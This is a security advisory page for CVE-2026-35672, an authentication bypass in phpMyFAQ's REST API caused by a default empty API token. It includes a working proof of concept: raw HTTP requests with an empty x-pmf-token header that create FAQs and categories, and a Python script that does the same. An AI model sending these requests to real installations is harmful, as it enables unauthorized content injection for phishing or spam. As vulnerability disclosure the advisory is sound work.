CVE-2026-35672: phpMyFAQ: Default Empty API Token Authentication Bypass

Published May 20, 2026
·
Updated

Summary

A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."

Details

The root cause is in two files:

1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):

php 'api.enableAccess' => 'true', 'api.apiClientToken' => '', // ← defaults to empty string

2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):

php protected function hasValidToken(): void { $request = Request::createFromGlobals(); if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) { throw new UnauthorizedHttpException('"x-pmf-token" is not valid.'); } }

The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.

The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.

The following API endpoints call $this->hasValidToken() as their only authentication check:

| File | Endpoint | Method | | ------------------------------------------------------- | ---------------------- | ------ | | src/.../Controller/Api/FaqController.php:701-703 | /api/v4.0/faq/create | POST | | src/.../Controller/Api/FaqController.php:857-859 | /api/v4.0/faq/update | PUT | | src/.../Controller/Api/CategoryController.php:278-280 | /api/v4.0/category | POST | | src/.../Controller/Api/QuestionController.php:89-91 | /api/v4.0/question | POST |

PoC

Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.

Step 1 — Verify that requests without auth header are correctly rejected:

http POST /api/v4.0/faq/create HTTP/1.1 Host: <target> Content-Type: application/json

{ "language": "en", "category-id": 1, "question": "Test Question", "answer": "Test Answer", "keywords": "test", "author": "test", "email": "test@test.com", "is-active": true, "is-sticky": false }

Response (HTTP 401 — correctly blocked):

json {"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}

Step 2 — Send the same request with an empty x-pmf-token header:

http POST /api/v4.0/faq/create HTTP/1.1 Host: <target> Content-Type: application/json x-pmf-token:

{ "language": "en", "category-id": 1, "question": "[POC] Authentication Bypass Confirmed", "answer": "This FAQ was created without any valid authentication token.", "keywords": "poc,bypass", "author": "Security Researcher", "email": "researcher@example.com", "is-active": true, "is-sticky": false }

Response (HTTP 201 — bypass confirmed):

json {"stored": true}

Step 3 — Category creation via the same bypass:

http POST /api/v4.0/category HTTP/1.1 Host: <target> Content-Type: application/json x-pmf-token:

{ "language": "en", "parent-id": 0, "category-name": "POCCategory", "description": "Category created via empty token bypass", "user-id": 1, "group-id": -1, "is-active": true, "show-on-homepage": true }

Response (HTTP 201):

json {"stored": true}

Step 4 — Verify injected content is publicly visible:

http GET /api/v4.0/faqs/1 HTTP/1.1 Host: <target>

Response (HTTP 200 — injected FAQ publicly exposed):

json [{"recordid":1,"recordlang":"en","categoryid":1,"recordtitle":"[POC] Authentication Bypass Confirmed","recordpreview":"This FAQ was created without any valid authentication token. ..."}]

PoC with Python (urllib — no external dependencies):

python import urllib.request, json

TARGET = "http://<target>" HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}

Create FAQ via empty token bypass data = json.dumps({ "language": "en", "category-id": 1, "question": "[POC] Auth Bypass", "answer": "Created via bypass.", "keywords": "poc", "author": "R", "email": "r@t.com", "is-active": True, "is-sticky": False }).encode() req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST") resp = urllib.request.urlopen(req) print(f"Status: {resp.status}") # 201 — bypass successful

Overlap Summary:

| Test | x-pmf-token | HTTP Status | Result | | ------------------- | -------------- | ---------------- | -------------------------- | | No auth header | (not sent) | 401 Unauthorized | 🔒 Correctly blocked | | Empty token header | "" | 201 Created | 🔓 Bypass confirmed | | Category creation | "" | 201 Created | 🔓 Bypass confirmed | | Public verification | (not needed) | 200 OK | 📄 Injected content visible |

Impact

This is an authentication bypass (CWE-1188) affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the default state after installation.

- Who is impacted? Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state. - What can an attacker do? Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base. - What is NOT affected? Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.

Other sources

phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.

— NVD

phpMyFAQ: Default Empty API Token Authentication Bypass

— Packagist

Affected Software

5 affected componentsFixes available
PhpMyFaq phpmyfaq<4.1.3
composer/phpmyfaq/phpmyfaq<=4.1.2
composer/thorsten/phpmyfaq<=4.1.2
composer/phpmyfaq/phpmyfaq<=4.1.2
4.1.3
composer/thorsten/phpmyfaq<=4.1.2
4.1.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/phpmyfaq/phpmyfaq to a version that resolves this vulnerability.

    Fixed in 4.1.3
  2. Upgrade

    Upgrade composer/thorsten/phpmyfaq to a version that resolves this vulnerability.

    Fixed in 4.1.3
  3. Upgrade

    Upgrade phpMyFAQ to a version that resolves this vulnerability.

    Fixed in 4.1.3
  4. Configuration

    Set api.apiClientToken to a non-empty API client token instead of the default empty string.

    phpMyFAQ REST API api.apiClientToken = non-empty token

Event History

May 20, 2026
Advisory Published
via GitHub·03:46 PM
Data Sourced
via GitHub·03:46 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Packagist·03:46 PM
DescriptionSeverityAffected Software
May 28, 2026
CVE Published
via MITRE·02:13 PM
Data Sourced
via MITRE·02:13 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2026-35672?

CVE-2026-35672 has a high severity rating of 8.7.

2

How do I fix CVE-2026-35672?

To fix CVE-2026-35672, upgrade to phpMyFAQ version 4.1.3 or later.

3

What vulnerability is addressed in CVE-2026-35672?

CVE-2026-35672 addresses an authentication bypass vulnerability via an empty API token.

4

What can attackers do with CVE-2026-35672?

Attackers can exploit CVE-2026-35672 to create and modify FAQ entries without authentication.

5

Which version of phpMyFAQ is affected by CVE-2026-35672?

CVE-2026-35672 affects phpMyFAQ versions prior to 4.1.3.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203